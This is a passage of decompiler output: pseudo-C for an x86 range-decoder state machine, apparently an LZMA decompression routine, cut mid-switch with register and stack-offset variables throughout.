                                      							goto L132;
                                      						case 3:
                                      							L21:
                                      							__eflags =  *(_t613 - 0x6c);
                                      							if( *(_t613 - 0x6c) == 0) {
                                      								 *(_t613 - 0x88) = 3;
                                      								goto L170;
                                      							}
                                      							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      							_t67 = _t613 - 0x70;
                                      							 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                      							__eflags =  *_t67;
                                      							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                      							L23:
                                      							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                      							if( *(_t613 - 0x48) != 0) {
                                      								goto L21;
                                      							}
                                      							goto L24;
                                      						case 4:
                                      							goto L133;
                                      						case 5:
                                      							goto L137;
                                      						case 6:
                                      							__edx = 0;
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__eax =  *(__ebp - 4);
                                      								__ecx =  *(__ebp - 0x38);
                                      								 *(__ebp - 0x34) = 1;
                                      								 *(__ebp - 0x84) = 7;
                                      								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                      								goto L132;
                                      							}
                                      							__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                      							__esi =  *(__ebp - 0x60);
                                      							__cl = 8;
                                      							__cl = 8 -  *(__ebp - 0x3c);
                                      							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                      							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                      							__ecx =  *(__ebp - 0x3c);
                                      							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                      							__ecx =  *(__ebp - 4);
                                      							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                      							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                      							__eflags =  *(__ebp - 0x38) - 4;
                                      							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      							if( *(__ebp - 0x38) >= 4) {
                                      								__eflags =  *(__ebp - 0x38) - 0xa;
                                      								if( *(__ebp - 0x38) >= 0xa) {
                                      									_t98 = __ebp - 0x38;
                                      									 *_t98 =  *(__ebp - 0x38) - 6;
                                      									__eflags =  *_t98;
                                      								} else {
                                      									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                      								}
                                      							} else {
                                      								 *(__ebp - 0x38) = 0;
                                      							}
                                      							__eflags =  *(__ebp - 0x34) - __edx;
                                      							if( *(__ebp - 0x34) == __edx) {
                                      								__ebx = 0;
                                      								__ebx = 1;
                                      								goto L61;
                                      							} else {
                                      								__eax =  *(__ebp - 0x14);
                                      								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      								__eflags = __eax -  *(__ebp - 0x74);
                                      								if(__eax >=  *(__ebp - 0x74)) {
                                      									__eax = __eax +  *(__ebp - 0x74);
                                      									__eflags = __eax;
                                      								}
                                      								__ecx =  *(__ebp - 8);
                                      								__ebx = 0;
                                      								__ebx = 1;
                                      								__al =  *((intOrPtr*)(__eax + __ecx));
                                      								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                      								goto L41;
                                      							}
                                      						case 7:
                                      							__eflags =  *(__ebp - 0x40) - 1;
                                      							if( *(__ebp - 0x40) != 1) {
                                      								__eax =  *(__ebp - 0x24);
                                      								 *(__ebp - 0x80) = 0x16;
                                      								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      								__eax =  *(__ebp - 0x28);
                                      								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      								__eax =  *(__ebp - 0x2c);
                                      								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      								__eax = 0;
                                      								__eflags =  *(__ebp - 0x38) - 7;
                                      								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      								__al = __al & 0x000000fd;
                                      								__eax = (__eflags >= 0) - 1 + 0xa;
                                      								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                      								__eax =  *(__ebp - 4);
                                      								__eax =  *(__ebp - 4) + 0x664;
                                      								__eflags = __eax;
                                      								 *(__ebp - 0x58) = __eax;
                                      								goto L69;
                                      							}
                                      							__eax =  *(__ebp - 4);
                                      							__ecx =  *(__ebp - 0x38);
                                      							 *(__ebp - 0x84) = 8;
                                      							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                      							goto L132;
                                      						case 8:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__eax =  *(__ebp - 4);
                                      								__ecx =  *(__ebp - 0x38);
                                      								 *(__ebp - 0x84) = 0xa;
                                      								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                      							} else {
                                      								__eax =  *(__ebp - 0x38);
                                      								__ecx =  *(__ebp - 4);
                                      								__eax =  *(__ebp - 0x38) + 0xf;
                                      								 *(__ebp - 0x84) = 9;
                                      								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                      								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                      							}
                                      							goto L132;
                                      						case 9:
                                      							goto L0;
                                      						case 0xa:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__eax =  *(__ebp - 4);
                                      								__ecx =  *(__ebp - 0x38);
                                      								 *(__ebp - 0x84) = 0xb;
                                      								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                      								goto L132;
                                      							}
                                      							__eax =  *(__ebp - 0x28);
                                      							goto L88;
                                      						case 0xb:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__ecx =  *(__ebp - 0x24);
                                      								__eax =  *(__ebp - 0x20);
                                      								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      							} else {
                                      								__eax =  *(__ebp - 0x24);
                                      							}
                                      							__ecx =  *(__ebp - 0x28);
                                      							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      							L88:
                                      							__ecx =  *(__ebp - 0x2c);
                                      							 *(__ebp - 0x2c) = __eax;
                                      							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      							goto L89;
                                      						case 0xc:
                                      							L99:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0xc;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t334 = __ebp - 0x70;
                                      							 *_t334 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t334;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							__eax =  *(__ebp - 0x2c);
                                      							goto L101;
                                      						case 0xd:
                                      							L37:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0xd;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t122 = __ebp - 0x70;
                                      							 *_t122 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t122;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							L39:
                                      							__eax =  *(__ebp - 0x40);
                                      							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                      								goto L48;
                                      							}
                                      							__eflags = __ebx - 0x100;
                                      							if(__ebx >= 0x100) {
                                      								goto L54;
                                      							}
                                      							L41:
                                      							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                      							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                      							__ecx =  *(__ebp - 0x58);
                                      							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                      							 *(__ebp - 0x48) = __eax;
                                      							__eax = __eax + 1;
                                      							__eax = __eax << 8;
                                      							__eax = __eax + __ebx;
                                      							__esi =  *(__ebp - 0x58) + __eax * 2;
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      							__ax =  *__esi;
                                      							 *(__ebp - 0x54) = __esi;
                                      							__edx = __ax & 0x0000ffff;
                                      							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                      							__eflags =  *(__ebp - 0xc) - __ecx;
                                      							if( *(__ebp - 0xc) >= __ecx) {
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      								__cx = __ax;
                                      								 *(__ebp - 0x40) = 1;
                                      								__cx = __ax >> 5;
                                      								__eflags = __eax;
                                      								__ebx = __ebx + __ebx + 1;
                                      								 *__esi = __ax;
                                      							} else {
                                      								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                      								 *(__ebp - 0x10) = __ecx;
                                      								0x800 = 0x800 - __edx;
                                      								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                      								__ebx = __ebx + __ebx;
                                      								 *__esi = __cx;
                                      							}
                                      							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      							 *(__ebp - 0x44) = __ebx;
                                      							if( *(__ebp - 0x10) >= 0x1000000) {
                                      								goto L39;
                                      							} else {
                                      								goto L37;
                                      							}
                                      						case 0xe:
                                      							L46:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0xe;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t156 = __ebp - 0x70;
                                      							 *_t156 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t156;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							while(1) {
                                      								L48:
                                      								__eflags = __ebx - 0x100;
                                      								if(__ebx >= 0x100) {
                                      									break;
                                      								}
                                      								__eax =  *(__ebp - 0x58);
                                      								__edx = __ebx + __ebx;
                                      								__ecx =  *(__ebp - 0x10);
                                      								__esi = __edx + __eax;
                                      								__ecx =  *(__ebp - 0x10) >> 0xb;
                                      								__ax =  *__esi;
                                      								 *(__ebp - 0x54) = __esi;
                                      								__edi = __ax & 0x0000ffff;
                                      								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      								__eflags =  *(__ebp - 0xc) - __ecx;
                                      								if( *(__ebp - 0xc) >= __ecx) {
                                      									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      									__cx = __ax;
                                      									_t170 = __edx + 1; // 0x1
                                      									__ebx = _t170;
                                      									__cx = __ax >> 5;
                                      									__eflags = __eax;
                                      									 *__esi = __ax;
                                      								} else {
                                      									 *(__ebp - 0x10) = __ecx;
                                      									0x800 = 0x800 - __edi;
                                      									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      									__ebx = __ebx + __ebx;
                                      									 *__esi = __cx;
                                      								}
                                      								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      								 *(__ebp - 0x44) = __ebx;
                                      								if( *(__ebp - 0x10) >= 0x1000000) {
                                      									continue;
                                      								} else {
                                      									goto L46;
                                      								}
                                      							}
                                      							L54:
                                      							_t173 = __ebp - 0x34;
                                      							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                      							__eflags =  *_t173;
                                      							goto L55;
                                      						case 0xf:
                                      							L58:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0xf;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t203 = __ebp - 0x70;
                                      							 *_t203 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t203;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							L60:
                                      							__eflags = __ebx - 0x100;
                                      							if(__ebx >= 0x100) {
                                      								L55:
                                      								__al =  *(__ebp - 0x44);
                                      								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                      								goto L56;
                                      							}
                                      							L61:
                                      							__eax =  *(__ebp - 0x58);
                                      							__edx = __ebx + __ebx;
                                      							__ecx =  *(__ebp - 0x10);
                                      							__esi = __edx + __eax;
                                      							__ecx =  *(__ebp - 0x10) >> 0xb;
                                      							__ax =  *__esi;
                                      							 *(__ebp - 0x54) = __esi;
                                      							__edi = __ax & 0x0000ffff;
                                      							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      							__eflags =  *(__ebp - 0xc) - __ecx;
                                      							if( *(__ebp - 0xc) >= __ecx) {
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      								__cx = __ax;
                                      								_t217 = __edx + 1; // 0x1
                                      								__ebx = _t217;
                                      								__cx = __ax >> 5;
                                      								__eflags = __eax;
                                      								 *__esi = __ax;
                                      							} else {
                                      								 *(__ebp - 0x10) = __ecx;
                                      								0x800 = 0x800 - __edi;
                                      								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      								__ebx = __ebx + __ebx;
                                      								 *__esi = __cx;
                                      							}
                                      							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      							 *(__ebp - 0x44) = __ebx;
                                      							if( *(__ebp - 0x10) >= 0x1000000) {
                                      								goto L60;
                                      							} else {
                                      								goto L58;
                                      							}
                                      						case 0x10:
                                      							L109:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0x10;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t365 = __ebp - 0x70;
                                      							 *_t365 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t365;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							goto L111;
                                      						case 0x11:
                                      							goto L69;
                                      						case 0x12:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__eax =  *(__ebp - 0x58);
                                      								 *(__ebp - 0x84) = 0x13;
                                      								__esi =  *(__ebp - 0x58) + 2;
                                      								goto L132;
                                      							}
                                      							__eax =  *(__ebp - 0x4c);
                                      							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                      							__ecx =  *(__ebp - 0x58);
                                      							__eax =  *(__ebp - 0x4c) << 4;
                                      							__eflags = __eax;
                                      							__eax =  *(__ebp - 0x58) + __eax + 4;
                                      							goto L130;
                                      						case 0x13:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								_t469 = __ebp - 0x58;
                                      								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                      								__eflags =  *_t469;
                                      								 *(__ebp - 0x30) = 0x10;
                                      								 *(__ebp - 0x40) = 8;
                                      								L144:
                                      								 *(__ebp - 0x7c) = 0x14;
                                      								goto L145;
                                      							}
                                      							__eax =  *(__ebp - 0x4c);
                                      							__ecx =  *(__ebp - 0x58);
                                      							__eax =  *(__ebp - 0x4c) << 4;
                                      							 *(__ebp - 0x30) = 8;
                                      							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                      							L130:
                                      							 *(__ebp - 0x58) = __eax;
                                      							 *(__ebp - 0x40) = 3;
                                      							goto L144;
                                      						case 0x14:
                                      							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                      							__eax =  *(__ebp - 0x80);
                                      							goto L140;
                                      						case 0x15:
                                      							__eax = 0;
                                      							__eflags =  *(__ebp - 0x38) - 7;
                                      							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      							__al = __al & 0x000000fd;
                                      							__eax = (__eflags >= 0) - 1 + 0xb;
                                      							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                      							goto L120;
                                      						case 0x16:
                                      							__eax =  *(__ebp - 0x30);
                                      							__eflags = __eax - 4;
                                      							if(__eax >= 4) {
                                      								_push(3);
                                      								_pop(__eax);
                                      							}
                                      							__ecx =  *(__ebp - 4);
                                      							 *(__ebp - 0x40) = 6;
                                      							__eax = __eax << 7;
                                      							 *(__ebp - 0x7c) = 0x19;
                                      							 *(__ebp - 0x58) = __eax;
                                      							goto L145;
                                      						case 0x17:
                                      							L145:
                                      							__eax =  *(__ebp - 0x40);
                                      							 *(__ebp - 0x50) = 1;
                                      							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                      							goto L149;
                                      						case 0x18:
                                      							L146:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0x18;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t484 = __ebp - 0x70;
                                      							 *_t484 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t484;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							L148:
                                      							_t487 = __ebp - 0x48;
                                      							 *_t487 =  *(__ebp - 0x48) - 1;
                                      							__eflags =  *_t487;
                                      							L149:
                                      							__eflags =  *(__ebp - 0x48);
                                      							if( *(__ebp - 0x48) <= 0) {
                                      								__ecx =  *(__ebp - 0x40);
                                      								__ebx =  *(__ebp - 0x50);
                                      								0 = 1;
                                      								__eax = 1 << __cl;
                                      								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                      								__eax =  *(__ebp - 0x7c);
                                      								 *(__ebp - 0x44) = __ebx;
                                      								goto L140;
                                      							}
                                      							__eax =  *(__ebp - 0x50);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      							__eax =  *(__ebp - 0x58);
                                      							__esi = __edx + __eax;
                                      							 *(__ebp - 0x54) = __esi;
                                      							__ax =  *__esi;
                                      							__edi = __ax & 0x0000ffff;
                                      							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      							__eflags =  *(__ebp - 0xc) - __ecx;
                                      							if( *(__ebp - 0xc) >= __ecx) {
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      								__cx = __ax;
                                      								__cx = __ax >> 5;
                                      								__eax = __eax - __ecx;
                                      								__edx = __edx + 1;
                                      								__eflags = __edx;
                                      								 *__esi = __ax;
                                      								 *(__ebp - 0x50) = __edx;
                                      							} else {
                                      								 *(__ebp - 0x10) = __ecx;
                                      								0x800 = 0x800 - __edi;
                                      								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      								 *__esi = __cx;
                                      							}
                                      							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      							if( *(__ebp - 0x10) >= 0x1000000) {
                                      								goto L148;
                                      							} else {
                                      								goto L146;
                                      							}
                                      						case 0x19:
                                      							__eflags = __ebx - 4;
                                      							if(__ebx < 4) {
                                      								 *(__ebp - 0x2c) = __ebx;
                                      								L119:
                                      								_t393 = __ebp - 0x2c;
                                      								 *_t393 =  *(__ebp - 0x2c) + 1;
                                      								__eflags =  *_t393;
                                      								L120:
                                      								__eax =  *(__ebp - 0x2c);
                                      								__eflags = __eax;
                                      								if(__eax == 0) {
                                      									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                      									goto L170;
                                      								}
                                      								__eflags = __eax -  *(__ebp - 0x60);
                                      								if(__eax >  *(__ebp - 0x60)) {
                                      									goto L171;
                                      								}
                                      								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                      								__eax =  *(__ebp - 0x30);
                                      								_t400 = __ebp - 0x60;
                                      								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                      								__eflags =  *_t400;
                                      								goto L123;
                                      							}
                                      							__ecx = __ebx;
                                      							__eax = __ebx;
                                      							__ecx = __ebx >> 1;
                                      							__eax = __ebx & 0x00000001;
                                      							__ecx = (__ebx >> 1) - 1;
                                      							__al = __al | 0x00000002;
                                      							__eax = (__ebx & 0x00000001) << __cl;
                                      							__eflags = __ebx - 0xe;
                                      							 *(__ebp - 0x2c) = __eax;
                                      							if(__ebx >= 0xe) {
                                      								__ebx = 0;
                                      								 *(__ebp - 0x48) = __ecx;
                                      								L102:
                                      								__eflags =  *(__ebp - 0x48);
                                      								if( *(__ebp - 0x48) <= 0) {
                                      									__eax = __eax + __ebx;
                                      									 *(__ebp - 0x40) = 4;
                                      									 *(__ebp - 0x2c) = __eax;
                                      									__eax =  *(__ebp - 4);
                                      									__eax =  *(__ebp - 4) + 0x644;
                                      									__eflags = __eax;
                                      									L108:
                                      									__ebx = 0;
                                      									 *(__ebp - 0x58) = __eax;
                                      									 *(__ebp - 0x50) = 1;
                                      									 *(__ebp - 0x44) = 0;
                                      									 *(__ebp - 0x48) = 0;
                                      									L112:
                                      									__eax =  *(__ebp - 0x40);
                                      									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                      										_t391 = __ebp - 0x2c;
                                      										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                      										__eflags =  *_t391;
                                      										goto L119;
                                      									}
                                      									__eax =  *(__ebp - 0x50);
                                      									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      									__eax =  *(__ebp - 0x58);
                                      									__esi = __edi + __eax;
                                      									 *(__ebp - 0x54) = __esi;
                                      									__ax =  *__esi;
                                      									__ecx = __ax & 0x0000ffff;
                                      									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                      									__eflags =  *(__ebp - 0xc) - __edx;
                                      									if( *(__ebp - 0xc) >= __edx) {
                                      										__ecx = 0;
                                      										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                      										__ecx = 1;
                                      										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                      										__ebx = 1;
                                      										__ecx =  *(__ebp - 0x48);
                                      										__ebx = 1 << __cl;
                                      										__ecx = 1 << __cl;
                                      										__ebx =  *(__ebp - 0x44);
                                      										__ebx =  *(__ebp - 0x44) | __ecx;
                                      										__cx = __ax;
                                      										__cx = __ax >> 5;
                                      										__eax = __eax - __ecx;
                                      										__edi = __edi + 1;
                                      										__eflags = __edi;
                                      										 *(__ebp - 0x44) = __ebx;
                                      										 *__esi = __ax;
                                      										 *(__ebp - 0x50) = __edi;
                                      									} else {
                                      										 *(__ebp - 0x10) = __edx;
                                      										0x800 = 0x800 - __ecx;
                                      										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                      										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      										 *__esi = __dx;
                                      									}
                                      									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      									if( *(__ebp - 0x10) >= 0x1000000) {
                                      										L111:
                                      										_t368 = __ebp - 0x48;
                                      										 *_t368 =  *(__ebp - 0x48) + 1;
                                      										__eflags =  *_t368;
                                      										goto L112;
                                      									} else {
                                      										goto L109;
                                      									}
                                      								}
                                      								__ecx =  *(__ebp - 0xc);
                                      								__ebx = __ebx + __ebx;
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                      								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      								 *(__ebp - 0x44) = __ebx;
                                      								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                      									__ecx =  *(__ebp - 0x10);
                                      									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      									__ebx = __ebx | 0x00000001;
                                      									__eflags = __ebx;
                                      									 *(__ebp - 0x44) = __ebx;
                                      								}
                                      								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      								if( *(__ebp - 0x10) >= 0x1000000) {
                                      									L101:
                                      									_t338 = __ebp - 0x48;
                                      									 *_t338 =  *(__ebp - 0x48) - 1;
                                      									__eflags =  *_t338;
                                      									goto L102;
                                      								} else {
                                      									goto L99;
                                      								}
                                      							}
                                      							__edx =  *(__ebp - 4);
                                      							__eax = __eax - __ebx;
                                      							 *(__ebp - 0x40) = __ecx;
                                      							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                      							goto L108;
                                      						case 0x1a:
                                      							L56:
                                      							__eflags =  *(__ebp - 0x64);
                                      							if( *(__ebp - 0x64) == 0) {
                                      								 *(__ebp - 0x88) = 0x1a;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x68);
                                      							__al =  *(__ebp - 0x5c);
                                      							__edx =  *(__ebp - 8);
                                      							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      							 *( *(__ebp - 0x68)) = __al;
                                      							__ecx =  *(__ebp - 0x14);
                                      							 *(__ecx +  *(__ebp - 8)) = __al;
                                      							__eax = __ecx + 1;
                                      							__edx = 0;
                                      							_t192 = __eax %  *(__ebp - 0x74);
                                      							__eax = __eax /  *(__ebp - 0x74);
                                      							__edx = _t192;
                                      							goto L79;
                                      						case 0x1b:
                                      							goto L75;
